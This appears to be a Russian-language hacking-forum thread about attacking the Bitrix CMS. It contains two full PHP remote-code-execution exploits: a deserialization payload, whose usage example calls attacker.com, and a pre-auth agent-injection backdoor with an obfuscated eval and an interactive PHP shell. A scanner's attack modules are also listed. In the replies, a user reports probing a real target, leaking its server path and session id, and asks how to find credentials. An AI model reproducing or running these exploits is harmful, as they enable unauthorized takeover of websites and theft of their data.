• XSS.stack #1 – первый литературный журнал от юзеров форума

Уязвимости и атаки на CMS Bitrix

RCE эксплойт на Bitrix <= 20.100.0
PHP:
<?php
# <= 20.100.0 [ Start <= Business | CRM (any user) ]

(!isset($argv[3]) ? exit(message('php '.basename(__FILE__).' "https://target-bitrix.com" "system" "curl http://attacker.com/"')) : @list($x, $url, $func, $farg) = $argv);

# get phpsess + csrf
if(!preg_match('#(PHPSESSID=.+;).+\'bitrix_sessid\':\'(.+)\'#Uis', request($url.'/bitrix/tools/composite_data.php'), $matches)) exit(message('composite_data problems')); else message($matches[1].', sessid='.$matches[2]);

# upload default
$body = implode("\r\n", [
    '-----------------------------xxxxxxxxxxxx',
    'Content-Disposition: form-data; name="bxu_files[.][files][code]"',
    '',
    'default',
    '-----------------------------xxxxxxxxxxxx',
    'Content-Disposition: form-data; name="bxu_files[.][default]"; filename="image.jpg"',
    'Content-Type: image/jpeg',
    '',
    payload($func, $farg),
    '-----------------------------xxxxxxxxxxxx',
    'Content-Disposition: form-data; name="bxu_info[CID]"',
    '',
    '1',
    '-----------------------------xxxxxxxxxxxx',
    'Content-Disposition: form-data; name="bxu_info[packageIndex]"',
    '',
    'pIndex101',
    '-----------------------------xxxxxxxxxxxx',
    'Content-Disposition: form-data; name="bxu_info[mode]"',
    '',
    'upload',
    '-----------------------------xxxxxxxxxxxx',
    'Content-Disposition: form-data; name="action"',
    '',
    'uploadfile',
    '-----------------------------xxxxxxxxxxxx',
    'Content-Disposition: form-data; name="sessid"',
    '',
    $matches[2],
    '-----------------------------xxxxxxxxxxxx',
    'Content-Disposition: form-data; name="bxu_info[filesCount]"',
    '',
    '1',
    '-----------------------------xxxxxxxxxxxx--'
]);

request($url.'/bitrix/tools/html_editor_action.php', $matches[1], $body, 'Content-Type: multipart/form-data; boundary=---------------------------xxxxxxxxxxxx');

# exec default
message(request($url.'/bitrix/tools/html_editor_action.php', $matches[1], 'bxu_info[packageIndex]=pIndex101&action=uploadfile&bxu_info[mode]=upload&sessid='.$matches[2].'&bxu_info[filesCount]=1&bxu_info[CID]=default%00'));


function request($url, $cookie = '', $post = '', $header = []){
    $header = array_merge([($cookie ? 'Cookie: '.$cookie : '')], (is_string($header) ? [$header] : $header));

    $body = @file_get_contents($url, false, stream_context_create(
                                ['ssl' => [
                                            'verify_peer' => false,
                                            'verify_peer_name' => false,
                                ],
                                'http' =>
                                ['method' => ($post ? 'POST' : 'GET'),
                                'user_agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0',
                                'header' => implode("\r\n", $header),
                                'content' => ($post ? $post : '')
                                ]
                             ])
           );
          
    $header = implode(PHP_EOL, $http_response_header);
    
    return $header.PHP_EOL.PHP_EOL.$body;
}

function payload($func, $farg){
    
    return 'O:27:"Bitrix\Main\ORM\Data\Result":3:{S:12:"\00*\00isSuccess";b:0;S:20:"\00*\00wereErrorsChecked";b:0;S:9:"\00*\00errors";O:27:"Bitrix\Main\Type\Dictionary":1:{S:9:"\00*\00values";a:1:{i:0;O:17:"Bitrix\Main\Error":1:{S:10:"\00*\00message";O:36:"Bitrix\Main\UI\Viewer\ItemAttributes":1:{S:13:"\00*\00attributes";O:29:"Bitrix\Main\DB\ResultIterator":3:{S:38:"\00Bitrix\5CMain\5CDB\5CResultIterator\00counter";i:0;S:42:"\00Bitrix\5CMain\5CDB\5CResultIterator\00currentData";i:0;S:37:"\00Bitrix\5CMain\5CDB\5CResultIterator\00result";O:26:"Bitrix\Main\DB\ArrayResult":2:{S:11:"\00*\00resource";a:1:{i:0;a:2:{i:0;S:'.strlen($farg).':"\\'.implode('\\', str_split(bin2hex($farg), 2)).'";i:1;s:1:"x";}}S:13:"\00*\00converters";a:2:{i:0;S:'.strlen($func).':"\\'.implode('\\', str_split(bin2hex($func), 2)).'";i:1;s:17:"WriteFinalMessage";}}}}}}}}';

}

function message($str){
    print PHP_EOL.'### '.$str.' ###'.PHP_EOL.PHP_EOL;
}
?>

RCE эксплойт на Bitrix <= 21.400.100
PHP:
<?php
message('Bitrix Pre-Auth Remote Code Execution via Arbitrary Object Instantiation');
message('Affected versions: <= 21.400.100 [ Standart <= Business | CRM (any user) ]');
(!isset($argv[1]) ? exit(message('php '.basename(__FILE__).' https://target-bitrix.com')) : @list($x, $url, $id) = $argv);
message('Target: '.$url);

# get phpsess + csrf
if(!preg_match('#(PHPSESSID=.+;).+\'bitrix_sessid\':\'(.+)\'#Uis', request($url.'/bitrix/tools/composite_data.php'), $matches)) exit(message('composite_data problems')); else message($matches[1].', sessid='.$matches[2]);

# update the agent
$body = implode("\r\n", [
    '-----------------------------xxxxxxxxxxxx',
    'Content-Disposition: form-data; name="bxu_files['.index($id).'][]"',
    '',
    '1',
    '-----------------------------xxxxxxxxxxxx',
    'Content-Disposition: form-data; name="bxu_files['.index($id).'][default]"; filename="image.jpg"',
    'Content-Type: image/jpeg',
    '',
    str_repeat(' ', 1234),
    '-----------------------------xxxxxxxxxxxx',
    'Content-Disposition: form-data; name="bxu_files['.index($id).'][IS_PERIOD]"',
    '',
    'Y',
    '-----------------------------xxxxxxxxxxxx',
    'Content-Disposition: form-data; name="bxu_files['.index($id).'][RETRY_COUNT]"',
    '',
    '0',
    '-----------------------------xxxxxxxxxxxx',
    'Content-Disposition: form-data; name="bxu_files['.index($id).'][AGENT_INTERVAL]"',
    '',
    '0',
    '-----------------------------xxxxxxxxxxxx',
    'Content-Disposition: form-data; name="bxu_files['.index($id).'][MODULE_ID]"',
    '',
    'main',
    '-----------------------------xxxxxxxxxxxx',
    'Content-Disposition: form-data; name="bxu_files['.index($id).'][ACTIVE]"',
    '',
    'Y',
    '-----------------------------xxxxxxxxxxxx',
    'Content-Disposition: form-data; name="bxu_files['.index($id).'][NAME]"',
    '',
    furl(agent($id)),
    '-----------------------------xxxxxxxxxxxx',
    'Content-Disposition: form-data; name="bxu_info[packageIndex]"',
    '',
    'pIndex101',
    '-----------------------------xxxxxxxxxxxx',
    'Content-Disposition: form-data; name="bxu_info[mode]"',
    '',
    'upload',
    '-----------------------------xxxxxxxxxxxx',
    'Content-Disposition: form-data; name="sessid"',
    '',
    $matches[2],
    '-----------------------------xxxxxxxxxxxx',
    'Content-Disposition: form-data; name="bxu_info[filesCount]"',
    '',
    '1',
    '-----------------------------xxxxxxxxxxxx--'
]);

if(!strpos(request($url.'/bitrix/tools/vote/uf.php?attachId[ENTITY_TYPE]=CFileUploader&attachId[ENTITY_ID][events][onFileIsStarted][]=CAllAgent&attachId[ENTITY_ID][events][onFileIsStarted][]=Update&attachId[MODULE_ID]=vote&action=vote', $matches[1], $body, 'Content-Type: multipart/form-data; boundary=---------------------------xxxxxxxxxxxx'), '$arAgent')) exit(message('Fail. Agent update problems.'));

message('Injected PHP code: '.PHP_EOL.payload());
message('Sleeping 60 seconds for the agent activation.'); xsleep(60);
message('Now you can use the "bitrixxx" request param or use this console.');
message('Then done, type "EXIT" to restore the agent.');

do {
    $code = trim(readline('php > '));
    readline_add_history($code);
    
    if($code != 'EXIT')
        message(substr(strstr(request($url.'/', $matches[1], 'bitrixxx='.furl(furl('print "~~~";'.$code))), '~~~'), 3));
    else
        break;
        
} while(1);

# restore the agent
request($url, $matches[1], 'restorexxx=1');
message('Agent restored.');
message('Bye.');


function request($url, $cookie = '', $post = '', $header = []){
    $header = array_merge([($cookie ? 'Cookie: '.$cookie : '')], (is_string($header) ? [$header] : $header));

    $body = @file_get_contents($url, false, stream_context_create(
                                ['ssl' => [
                                    'verify_peer' => false,
                                    'verify_peer_name' => false,
                                ],
                                'http' =>
                                [    'timeout' => 10,
                                    'method' => ($post ? 'POST' : 'GET'),
                                    'user_agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0',
                                    'header' => implode("\r\n", $header),
                                    'content' => ($post ? $post : '')
                                ]
                             ])
           );
          
    $header = implode(PHP_EOL, $http_response_header);
    
    return $header.PHP_EOL.PHP_EOL.$body;
}

function agent($id = 1){
    return '$arAgent["NAME"];'.t('eval(urldecode(strrev(\''.strrev(furl('
    '.payload().'
    return true;')).'\')));');
}

function payload(){
    return '
    if(isset($_REQUEST["bitrixxx"])){
        $DB->Query("UPDATE b_agent SET DATE_CHECK = NULL, RETRY_COUNT = 0, RUNNING = \'N\' WHERE ID = 1");
        
        try{
            $e = eval(urldecode(urldecode($_REQUEST["bitrixxx"])));
        }
        catch (Exception $e){
            exit;
        }
    }
    else{
        $r = \'\\\\Bitrix\\\\Main\\\\Analytics\\\\CounterDataTable::submitData();\';
        if(isset($_REQUEST["restorexxx"])){
            $DB->Query("UPDATE b_agent SET AGENT_INTERVAL = 60, IS_PERIOD = \'N\' WHERE ID = 1");
            $eval_result = $r;
        }
        else
            eval($r);
    }';
}

function index($id){
    return 'dd';
}

function furl($str){
    return '%'.implode('%', str_split(bin2hex($str), 2));
}

function j(){
    $l = rand(10, 50);
    while(!isset($c[$l])) @$c .= chr(rand(32, 126));
    
    if(rand(0, 1))
        return (rand(0, 1) ? "#".chr(rand(32, 90)) : "//").str_replace("?>", "", $c).(rand(0, 1) ? "\r" : "\n");
    else
        return (rand(0, 1) ? "/*".str_replace("*/","", $c)."*/" : (rand(0, 1) ? "\t".j() : " ".j()));
}

function xsleep($t){
     $s = 0;
    
     do{
        print '-';
        sleep(1);
        $s++;
    } while($s < $t);
    
    print PHP_EOL;
}
function t($s){
    foreach(token_get_all('<?php '.$s) as $t)
        @$r .= (is_array($t) ? $t[1] : $t).j();
    return j().substr($r, 5);
}

function message($str){
    print PHP_EOL.'### '.$str.' ###'.PHP_EOL.PHP_EOL;
}

© Двойная кавычка
 
Bitrix vulnerability scanner

Код:
Usage:
  quick-tricks [command]

Available Commands:
  help        Help about any command
  lfi         Module 'lfi' checks if there are endpoints vulnerable to Local File Inclusion.
  quick       Run all quick modules ('recon', 'lfi', 'redirect', 'spoofing' and 'xss')
  rce         Module 'rce' tries to exploit vulnerable components of the target Bitrix.
  recon       Module 'recon' helps to find login page endpoints, local path disclosure and license key.
  redirect    Module 'redirect' checks endpoints vulnerable to Open Redirect.
  spoofing    Module 'spoofing' tests target for possibility of Content Spoofing attack.
  ssrf        Module 'ssrf' helps to check whether the target is vulnerable to SSRF or not.
  xss         Module 'xss' checks target's endpoints that potentially can be vulnerable XSS.

Flags:
  -h, --help   help for quick-tricks

Use "quick-tricks [command] --help" for more information about a command.
 
1. Особенности
2. Уязвимости
3. Методы атак

Свежачок. Зиродеев нет.
Cпасибо большое за инфу. Все прочитал.

По таргету удалось определить локальный путь bitrix ( через url bitrix/admin/restore_export.php и description.php)
Код:
include_path='.:/usr/local/pear/php54' in /home/target2015/target_url/www/bitrix/admin/restore_export.php

+ через bitrix/tools/composite_data.php
Код:
{'LANGUAGE_ID':'ru','FORMAT_DATE':'DD.MM.YYYY','FORMAT_DATETIME':'DD.MM.YYYY HH:MI:SS','COOKIE_PREFIX':'BITRIX_SM','SERVER_TZ_OFFSET':'10800','SITE_ID':'s1','USER_ID':'','SERVER_TIME':'1681532057','USER_TZ_OFFSET':'0','USER_TZ_AUTO':'Y','bitrix_sessid':'029c5ef99f3c77c3181c69a5ca59f10c'}

Ряд функций js можно прочесть. Пробовал сканер от Desoxyn: в итоге 3 линка на возможный xss выдал, которые не работают. Пробовал ряд фишек из методички, но безрезультатно, acunetix sql injection не нашел ((((
Подскажи пожалуйста, стоит ли дальше пробовать креды найти или в данном случае не вариант что то дельное найти?
 
Пробовал ряд фишек из методички, но безрезультатно
Большинство сайтов пропатчено уже, из-за массовых взломов в 2022 году.

acunetix sql injection не нашел
Искать скули на Битриксе это самое бесполезное занятие. Даже если вывалится где-то ошибка - раскрутить ее нереально, чего я только не пробовал. И рабочих кейсов у кого-либо на последних версиях не видел. SSRF еще рабочий встречается, но очень редко. Описанные RCE не удалось раскрутить ни на одном реальном таргете, заплатки везде.
 
Большинство сайтов пропатчено уже, из-за массовых взломов в 2022 году.


Искать скули на Битриксе это самое бесполезное занятие. Даже если вывалится где-то ошибка - раскрутить ее нереально, чего я только не пробовал. И рабочих кейсов у кого-либо на последних версиях не видел. SSRF еще рабочий встречается, но очень редко. Описанные RCE не удалось раскрутить ни на одном реальном таргете, заплатки везде.
Понял спасибо. Начал работать по таргету, потому что версия bitrix от 2015 года стоит, видать, что то подшаманили изнутри)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх